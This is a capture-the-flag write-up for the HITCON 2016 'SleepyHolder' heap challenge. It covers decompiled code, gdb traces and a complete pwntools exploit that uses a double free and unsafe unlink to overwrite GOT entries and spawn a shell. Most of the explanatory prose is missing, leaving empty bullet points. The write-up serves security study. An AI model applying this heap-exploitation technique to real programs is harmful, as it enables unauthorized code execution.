Sleepy Holder[KR]

Unknown macro: 'html'

List

Infomation

Description

The Secret Holder has become sleepy and lazy now.
nc 52.68.31.117 9547

SleepyHolder
libc.so.6

Related file

File list
SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015 libc.so.6_375198810bb39e6593a968fcbcf6556789026743

Source Code

Files
SleepyHolder.c

Write Up

File information

File information

```
autolycos@ubuntu:~/CTF/HITCON2016/SleepyHolder$ file SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]
=46f0e70abd9460828444d7f0975a8b2f2ddbad46, stripped
autolycos@ubuntu:~/CTF/HITCON2016/SleepyHolder$ checksec.sh --file
SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH
SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
autolycos@ubuntu:~/CTF/HITCON2016/SleepyHolder$
```

Binary analysis

- .
  1.
  2.
  3.

./SleepyHolder

```
autolycos@ubuntu:~/CTF/HITCON2016/SleepyHolder$ ./SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
```

Main

- **main()** .
  - "/dev/urandom" "4095" AND Heap .
  - .

main()

```
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int command; // eax MAPDST
  unsigned int buf; // [rsp+4h] [rbp-1Ch]
  int fd; // [rsp+8h] [rbp-18h]
  char tmp; // [rsp+10h] [rbp-10h]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setSIGALM();
  puts("Waking Sleepy Holder up ...");
  fd = open("/dev/urandom", 0);
  read(fd, &buf, 4uLL);
  buf &= 4095u;
  malloc(buf);
  sleep(3u);
  puts("Hey! Do you have any secret?");
  puts("I can help you to hold your secrets, and no one will be able to see it :)");
  while ( 1 )
  {
    puts("1. Keep secret");
    puts("2. Wipe secret");
    puts("3. Renew secret");
    memset(&tmp, 0, 4uLL);
    read(0, &tmp, 4uLL);
    command = atoi(&tmp);
    switch ( command )
    {
      case 2:
        WipeSecret();
        break;
      case 3:
        RenewSecret();
        break;
      case 1:
        KeepSecret();
        break;
    }
  }
}
```

KeepSecret

- .
  - calloc() .
    - Small : 40 byte
    - Big : 4000 byte
    - Huge : 400000 byte
  - .
    - gSmallSecret
    - gBigSecret
    - gHugeSecret
  - .**(set 1)**
    - gSmallSecretFlag
    - gBigSecretFlag
    - gHugeSecretFlag
  - read() .

KeepSecret

```
unsigned __int64 KeepSecret()
{
  int command; // eax
  char tmp; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !gHugeSecretFlag )
    puts("3. Keep a huge secret and lock it forever");
  memset(&tmp, 0, 4uLL);
  read(0, &tmp, 4uLL);
  command = atoi(&tmp);
  if ( command == 2 )
  {
    if ( !gBigSecretFlag )
    {
      gBigSecret = calloc(1uLL, 0xFA0uLL);
      gBigSecretFlag = 1;
      puts("Tell me your secret: ");
      read(0, gBigSecret, 0xFA0uLL);
    }
  }
  else if ( command == 3 )
  {
    if ( !gHugeSecretFlag )
    {
      gHugeSecret = calloc(1uLL, 0x61A80uLL);
      gHugeSecretFlag = 1;
      puts("Tell me your secret: ");
      read(0, gHugeSecret, 0x61A80uLL);
    }
  }
  else if ( command == 1 && !gSmallSecretFlag )
  {
    gSmallSecret = calloc(1uLL, 0x28uLL);
    gSmallSecretFlag = 1;
    puts("Tell me your secret: ");
    read(0, gSmallSecret, 0x28uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}
```

WipeSecret

- .
  - KeepSecret() .
    - Small, Big Secret .
    - Huge secret .
  - , Huge secret .
  - flag 0 .
- .
  - .
  - .
- .
  - **flag** **Heap** **.**
  - Heap free() Heap .

WipeSecret()

```
unsigned __int64 WipeSecret()
{
  int command; // eax
  char tmp; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&tmp, 0, 4uLL);
  read(0, &tmp, 4uLL);
  command = atoi(&tmp);
  if ( command == 1 )
  {
    free(gSmallSecret);
    gSmallSecretFlag = 0;
  }
  else if ( command == 2 )
  {
    free(gBigSecret);
    gBigSecretFlag = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}
```

RenewSecret

- .
  - KeepSecret() .
  - Small, Big Secret .

RenewSecret

```
__int64 RenewSecret()
{
  int command; // eax@1
  char input; // [rsp+10h] [rbp-10h]@1
  __int64 v3; // [rsp+18h] [rbp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&input, 0, 4uLL);
  read(0, &input, 4uLL);
  command = atoi(&input);
  if ( command == 1 )
  {
    if ( gSmallSecretState )
    {
      puts("Tell me your secret: ");
      read(0, gSmallSecret, 0x28uLL);
    }
  }
  else if ( command == 2 && gBigSecMsgState )
  {
    puts("Tell me your secret: ");
    read(0, gBigSecMsg, 0xFA0uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

Debuging

Heap Overflow

- **Heap Overflow .**
  - "Keep secret" "Small secret"
  - "Keep secret" "Big secret"
  - "Wipe secret" "Small secret"
  - "Keep secret" "Huge secret"
  - "Wipe secret" "Small secret"
- **Debuging .**

Break point

```
gdb-peda$ b *0x400000 + 0x9ff
Breakpoint 1 at 0x4009ff
gdb-peda$ b *0x400000 + 0xa5b
Breakpoint 2 at 0x400a5b
gdb-peda$ b *0x400000 + 0xab1
Breakpoint 3 at 0x400ab1
gdb-peda$ b *0x400000 + 0xb94
Breakpoint 4 at 0x400b94
gdb-peda$ b *0x400000 + 0xbaf
Breakpoint 5 at 0x400baf
gdb-peda$
```

- .
  - "Keep secret" "Small secret"
  - "Keep secret" "Big secret"
  - "Wipe secret" "Small secret"
- .
  - "gSmallSecret" 0x6020d0 , Heap 0x603bb0 .
  - "gBigSecret" 0x6020c0 , Heap 0x603be0 .
  - "Wipe secret" "Small secret" "Small secret" , .

"Wipe secret" "Small secret"

```
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/SleepyHolder
/SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
1
Breakpoint 1, 0x00000000004009ff in ?? ()
gdb-peda$ x/i $rip
=> 0x4009ff:        mov    QWORD PTR [rip+0x2016ca],rax        # 0x6020d0
gdb-peda$ i r rax
rax            0x603bb0        0x603bb0
gdb-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
Tell me your secret:
AAAA
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
2
Breakpoint 2, 0x0000000000400a5b in ?? ()
gdb-peda$ x/i $rip
=> 0x400a5b:        mov    QWORD PTR [rip+0x20165e],rax        # 0x6020c0
gdb-peda$ i r rax
rax            0x603be0        0x603be0
gdb-peda$ c
Continuing.
Tell me your secret:
BBBB
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
1
Breakpoint 4, 0x0000000000400b94 in ?? ()
gdb-peda$ x/gx 0x6020d0
0x6020d0:        0x0000000000603bb0
gdb-peda$ x/gx 0x6020c0
0x6020c0:        0x0000000000603be0
gdb-peda$
```

- **"Keep secret" "Huge secret" "Small secret" "Small bin" .**
  - Heap malloc() Heap .
  - malloc() heap .
  - "Small secret" "Small bin" , Heap fd, bk main_arena .
    - fd : 0x00007ffff7dd1b98
    - bk : 0x00007ffff7dd1b98
- "gHugeSecret" 0x6020c8 , Heap 0x7ffff7f73010 .

"Keep secret" "Huge secret"

```
gdb-peda$ c
Continuing.
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
3. Keep a huge secret and lock it forever
3

Breakpoint 3, 0x0000000000400ab1 in ?? ()
gdb-peda$ x/i $rip
=> 0x400ab1:        mov    QWORD PTR [rip+0x201610],rax        # 0x6020c8
gdb-peda$ i r rax
rax            0x7ffff7f73010        0x7ffff7f73010
gdb-peda$ p main_arena.system_mem
$1 = 0x21000
gdb-peda$ p main_arena.max_system_mem
$2 = 0x21000
gdb-peda$ p main_arena.bins[4]
$3 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.bins[5]
$4 = (mchunkptr) 0x603ba0
gdb-peda$ x/4gx 0x603ba0
0x603ba0:        0x0000000000000000        0x0000000000000031
0x603bb0:        0x00007ffff7dd1b98        0x00007ffff7dd1b98
gdb-peda$
```

- **"Unsafe unlink" .**
  - "Unsafe unlink" Allocated chunk size PREV_INUSE .
    - Overflow . "Small secret" (Double free) PREV_INUSE .
    - "Wipe secret" "Small secret" , "Small secret" (Double free) fastbin .
  - "Keep secret" "Small secret" , "Big secret" chunk size PREV_INUSE "Small secret" .
    - fastbin , smallbin .
  - "Small secret" Fake chunk .

Remove "prev_size"

```
gdb-peda$ p main_arena.bins[4]
$5 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.bins[5]
$6 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.fastbinsY
$7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ c
Continuing.

Tell me your secret:
CCCC
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
1

Breakpoint 4, 0x0000000000400b94 in ?? ()
gdb-peda$ p main_arena.bins[4]
$8 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.bins[5]
$9 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.fastbinsY
$10 = {0x0, 0x603ba0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ c
Continuing.
1. Keep secret
2. Wipe secret
3. Renew secret
1
What secret do you want to keep?
1. Small secret
2. Big secret
1

Breakpoint 1, 0x00000000004009ff in ?? ()
gdb-peda$ p main_arena.bins[4]
$11 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.bins[5]
$12 = (mchunkptr) 0x603ba0
gdb-peda$ p main_arena.fastbinsY
$13 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gdb-peda$ x/6gx 0x603bb0
0x603bb0:        0x0000000000000000        0x0000000000000000
0x603bc0:        0x0000000000000000        0x0000000000000000
0x603bd0:        0x0000000000000000        0x00000000000000fb0
gdb-peda$
```

- **Fake chunk .**
  - Fake chunk Allocated chunk prev_size .

Unsafe unlink

```
gdb-peda$ c
Continuing.
Tell me your secret:
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE
1. Keep secret
2. Wipe secret
3. Renew secret
1. Keep secret
2. Wipe secret
3. Renew secret
^C
Program received signal SIGINT, Interrupt.

0x00007ffff7b04230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84        ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x/6gx 0x603bb0
0x603bb0:        0x4141414141414141        0x4242424242424242
0x603bc0:        0x4343434343434343        0x4444444444444444
0x603bd0:        0x4545454545454545        0x0000000000000fb0
gdb-peda$ set *0x603bb0 = 0x0
gdb-peda$ set *0x603bb4 = 0x0
gdb-peda$ set *0x603bb8 = 0x0
gdb-peda$ set *0x603bbc = 0x0
gdb-peda$ set *0x603bc0 = 0x6020d0 - 0x18
gdb-peda$ set *0x603bc4 = 0x0
gdb-peda$ set *0x603bc8 = 0x6020d0 - 0x10
gdb-peda$ set *0x603bcc = 0x0
gdb-peda$ set *0x603bd0 = 0x20
gdb-peda$ set *0x603bd4 = 0x0
gdb-peda$ x/6gx 0x603bb0
0x603bb0:        0x0000000000000000        0x0000000000000000
0x603bc0:        0x00000000006020b8        0x00000000006020c0
0x603bd0:        0x0000000000000020        0x0000000000000fb0
gdb-peda$ x/gx 0x6020d0
0x6020d0:        0x0000000000603bb0
gdb-peda$
```

- **Fake chunk .**

Fake chunk

address	0x0	0x8
0x603bb0	0x0	0x0
0x603bc0	fb(0x6020d0 - 0x18)	bk(0x6020d0 - 0x10)
0x603bd0	prev_size(0x20)	size(0xfb0)

- **"Unsafe unlink" "gSmallSecret"(0x6020d0) ".bss" (0x6020d0 - 0x18) .**

The value of the "gSmallSecret" area has changed.

```
gdb-peda$ c
Continuing.
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
2

Breakpoint 5, 0x0000000000400baf in ?? ()
gdb-peda$ x/gx 0x6020d0
0x6020d0:        0x00000000006020b8
gdb-peda$
```

Detailed explanation of the Unsafe unlink

- unsafe unlink

Structure of Exploit code

- Payload .

Payload

1. Unsafe unlink( )
2. Leak Heap Address
3. offset
4. Overflow(system)

- .

1. Unsafe unlink( )
    a. "gSmallSecret"
2. Leak Heap Address
    a. ""gBigSecret"" .got.plt
    b. .got.plt "_free" .plt _puts
    c. "WipeSecret" "BigSecret"
3. offset
    a. System()
4. Overflow(system)
    a. .got.plt "_free" __libc_system
    b. "Keep secret" "BigSecret"
    c. "WipeSecret" "BigSecret"

- payload .

- Leak libc address

Information for attack

Leak libc address

- **libc address** .

    - unsafe unlink "gSmallSecret" 0x6020b8(.bss) .
    - "gSmallSecret" .
        - 0x6020C0 ~ 0x6020E0
- **"Renew secret" "Small secret" .**
    - got, plt , shell .

Overwrite to global variable

```
gdb-peda$ b *0x400C86
gdb-peda$ c
Continuing.
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
1
Tell me your secret:
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE


Breakpoint 5, 0x0000000000400c86 in ?? ()
gdb-peda$ x/6gx 0x00000000006020b8
0x6020b8:        0x4141414141414141        0x4242424242424242
0x6020c8:        0x4343434343434343        0x4444444444444444
0x6020d8:        0x4545454545454545        0x0000000000000001
gdb-peda$
```

- **libc address .**
    - free() got .
    - "Renew secret" "Small secret" .
        - gBigSecret [0x6020c0] : atoi() got
        - gHugeSecret [0x6020c8] : puts() got
        - gSmallSecret [0x6020d0] : free() got
    - "Renew secret" "Small secret" free() got .
        - free() plt puts() plt .
    - "Wipe secret" "Big secret" free() got puts() .
        - "Big secret" "gBigSecret" atoi() got .

Exploit Code

Exploitcode.py

```
from pwn import *
#context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def KeepSecret(size,content):
    p.recvuntil('3. Renew secret\n')
    p.sendline('1')
    p.recvuntil('2. Big secret\n')
    p.sendline(str(size));
    p.recvuntil('Tell me your secret: ')
    p.send(content)

def WipeSecret(size):
    p.recvuntil('3. Renew secret\n')
    p.sendline('2')
    p.recvuntil('2. Big secret\n')
    p.sendline(str(size))

def RenewSecret(size,content):
    p.recvuntil('3. Renew secret\n')
    p.sendline('3')
```

```
    p.recvuntil('2. Big secret\n')
    p.sendline(str(size))
    p.recvuntil('Tell me your secret: ')
    p.send(content)

gSmallSecret = 0x6020D0

p = process('SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015')
bin = ELF('SleepyHolder_3d90c33bdbf3e5189febfa15b09ca5ee61b94015')

#Remove "prev_size"
KeepSecret(1,'AAAA')
KeepSecret(2,'BBBB')
WipeSecret(1)
KeepSecret(3,'CCCC')
WipeSecret(1)

#Unsafe unlink
secret = p64(0)
secret += p64(0)
secret += p64(gSmallSecret - 0x18)
secret += p64(gSmallSecret - 0x10)
secret += p64(0x20)
KeepSecret(1,secret)
WipeSecret(2)

#Overwrite to global variable
secret = p64(0)                                         #[0x6020b8]
secret += p64(bin.got['atoi'])        #gBigSecret[0x6020c0]
secret += p64(bin.got['puts'])  #gHugeSecret[0x6020c8]
secret += p64(bin.got['free'])  #gSmallSecret[0x6020d0]
secret += p64(1) * 3                        #gBigSecretFlag[0x6020d8],gHugeSecretFlag[0x6020dc],gSmallSecretFlag
[0x6020e0],...
RenewSecret(1,secret)

#Leak libc
RenewSecret(1,p64(bin.plt['puts']))                                 #bin.got['free']:bin.plt['free'] -> bin.plt
['puts']
WipeSecret(2)                                                                       #puts(atoi() got)
libcAddr = u64(p.recv(6).ljust(8,'\x00'))
libc.address += libcAddr - libc.symbols['atoi']
systemAddr = libc.symbols['system']

log.info("Libc Address : " + hex(libc.address))
log.info("System : " + hex(systemAddr))

#Overwrite
RenewSecret(1,p64(systemAddr))                                      #bin.got['free']:bin.plt['puts'] ->
address of system()
KeepSecret(2,'sh\0')                                                      #save 'sh'character in the
Bigsecret area
WipeSecret(2)                                                                       #system('sh')

p.interactive()
```

SYNOPSIS

```
#include <stdlib.h>
int system(const char *command);
```

Flag

Flag	flag is: hitcon{The Huuuuuuuuuuuge Secret Really MALLOC a difference!}

Related Site

- https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder

Unknown macro: 'html'